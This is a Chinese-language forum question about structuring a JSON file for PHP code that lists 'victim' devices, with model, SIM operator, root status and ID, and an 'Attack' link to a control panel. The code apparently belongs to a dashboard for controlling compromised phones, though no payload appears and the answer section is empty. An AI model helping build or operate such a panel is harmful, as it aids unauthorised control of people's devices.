首页 > 解决方案 > 如何为 php 构建 .json 文件

问题描述

我有这个访问 json 文件的 php 代码。然而,json 文件是空的,我需要输入一个示例值。但是,我似乎无法正确构造它。编码:

<?php
     $strJsonFileContents = file_get_contents("../private/storage/device_list.json");
     $victim_array = json_decode($strJsonFileContents, true);
     $index_victim = 1;

     foreach ($victim_array["device_list"] as $field => $value) {

     echo '<tr>';
     echo '<td>'.$index_victim.'</td>';
     echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>';
     echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
     echo '<td>'.$value['COUNTRY'].'</td>';
     echo '<td>'.$value['SIM_OPERATOR'].'</td>';
     echo '<td>'.$value['CHARGE'].'</td>';
     echo '<td>'.$value['IS_ROOTED'].'</td>';
     echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
     echo '</tr>';
     $index_victim += 1;
     }
?>

这是我一直在尝试的json的结构。

{
    "device_list": {
        "device1": {
            "DEVICE_MODEL": "Test",
            "SOFTWARE_VERSION": "Test",
            "COUNTRY": "Test",
            "SIM_OPERATOR": "Test",
            "CHARGE": "Test",
            "IS_ROOTED": "Test",
            "UNIQUE_ID": "Test"
        }
    }
}

返回错误

Fatal error: Uncaught TypeError: Cannot access offset of type string on string in C:\Server\Data\htdocs\hidden\public\index.php:87 Stack trace: #0 {main} thrown in C:\Server\Data\htdocs\hidden\public\index.php on line 87

涉及第 87 行的行:

echo '<tr>';
                                echo '<td>'.$index_victim.'</td>';
                                echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>'; (line 87)
                                echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
                                echo '<td>'.$value['COUNTRY'].'</td>';
                                echo '<td>'.$value['SIM_OPERATOR'].'</td>';
                                echo '<td>'.$value['CHARGE'].'</td>';
                                echo '<td>'.$value['IS_ROOTED'].'</td>';
                                echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
                                echo '</tr>';
                                $index_victim += 1;

如何更正 json 文件的结构?

标签: phpjsonweb-testing

解决方案


推荐阅读